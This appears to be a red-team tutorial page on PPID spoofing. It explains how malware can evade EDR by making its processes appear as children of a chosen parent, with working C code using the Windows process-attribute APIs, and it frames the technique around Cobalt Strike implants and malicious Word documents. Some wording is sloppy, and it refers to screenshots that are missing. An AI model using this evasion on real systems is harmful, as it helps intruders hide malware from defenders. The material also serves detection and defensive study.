Secondary Categories: 02-Malware


Description:

Parent and child process relationship can be analyzed when EDR is scanning for behaviors of malware on systems. For example Microsoft Word spawning a powershell child process is a bit odd and could flag the powershell process as malicious even if no activity was being performed by the powershell process.

A good alternative would be to have a Cobalt Strike shellcode injected into svchost process and execute shell commands from our beacon. Then the cmd prompt would spawn as a child which is usual behavior for svchost.

Bypass

When creating a process we can specify which parent process it should spawn under as a child. Which is essential what the β€œppid” command in Cobalt Strike does under the hood.

An example of PPID Spoofing

The code above gets the PID of Chrome then creates a child process of wermgr.exe that is suspended.

EXTENDED

https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelistThe CreateProcess API, by default will spawn a child process under the current process. This is resulting in a parent and child relationship like so:

In the example above I’m using Process Hacker to view process information on my system. We can see that elastic-agent.exe has four child processes (filebeat.exe and metricbeat.exe).

If were to leverage one of the many initial access methods and run our implant on the target system we can spoof the parent process. For example, if we send a victim a malicious word document (winword.exe) containing malicious VBA to run our shellcode it will look suspicious that cmd.exe has spawned as child process to winword.exe

How its done

We can start by looking at the STARTUPINFOX struct, which has an LPPROC_THREAD_ATTRIBUTE_LIST property. This has mutliple attribute values we can use to modify our process once it’s created. The list of attributes can be found here.

In the example below we pass in the PID of the process we want to spoof and initialize STARTUPINFOEX.

#include <iostream>
#include <Windows.h>
#include <winternl.h>
 
int main(int argc, const char* argv[])
{
	// Get parent process PID from the command line
	DWORD parentPid = atoi(argv[1]);
 
	// initialize STARTUPINFOEX
	STARTUPINFOEX sie = { sizeof(sie) };
}

Each attribute in LPPROC_THREAD_ATTRIBUTE_LIST has a size of 1 so in order to initialize this information is by our code snippet will look like the following:

// Call InitializeProcThreadAttributeList once
// it will return FALSE but populate lpSize
SIZE_T lpSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &lpSize);

Now that lpSize has populated we can allocate the attribute list of STARTUPINFOX then we can initialize the process thread attributes again

// Allocate memory for the attribute list on STARTUPINFOEX
sie.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(lpSize);
 
// Call InitializeProcThreadAttributeList again, it should return TRUE this time
if (!InitializeProcThreadAttributeList(sie.lpAttributeList, 1, 0, &lpSize))
{
	printf("InitializeProcThreadAttributeList failed. Error code: %d.\n", GetLastError());
	return 0;
}

No we need to get a handle on the parent process. We can use the PID value we recieved from the command line to open the process and get a handle.

// Get the handle to the process to act as the parent
HANDLE hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPid);
 
// Call UpdateProcThreadAttribute, should return TRUE
if (!UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
{
	printf("UpdateProcThreadAttribute failed. Error code: %d.\n", GetLastError());
	return 0;
}

The last thing to do is create the process and ensure that the the EXTENDED_STARTUPINFO_PRESENT flag is set.

// Call CreateProcess and pass the EXTENDED_STARTUPINFO_PRESENT flag
PROCESS_INFORMATION pi;
 
if (!CreateProcess(
	L"C:\\Windows\\System32\\notepad.exe",
	NULL,
	0,
	0,
	FALSE,
	EXTENDED_STARTUPINFO_PRESENT,
	NULL,
	L"C:\\Windows\\System32",
	&sie.StartupInfo,
	&pi))
{
	printf("CreateProcess failed. Error code: %d.\n", GetLastError());
	return 0;
}
 
printf("PID created: %d", pi.dwProcessId);
return 1;

Deleting Attributes List

A normal application will also call DeleteProcThreadAttributeList after the process has been created.

DeleteProcThreadAttributeList(sie.lpAttributeList);

Example

In the screen shot below I ran the previously discussed code to run spoof the PPID as OneDrive. If I were to just call CreateProcess API then it should have just shown up under my cmd.exe PPID.


Resources:

Also Check Out:

  • Placeholder